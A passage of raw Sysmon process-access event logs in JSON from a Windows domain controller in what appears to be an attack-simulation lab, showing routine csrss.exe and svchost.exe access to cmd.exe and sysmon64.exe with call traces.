11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2005,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-0010E5150300}\r\nTargetProcessId: 4092\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-0010E5150300}","TargetProcessId":"4092","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2006,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2007,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2008,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2009,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2010,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2011,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2012,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:00.875","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2013,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:00.875\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: 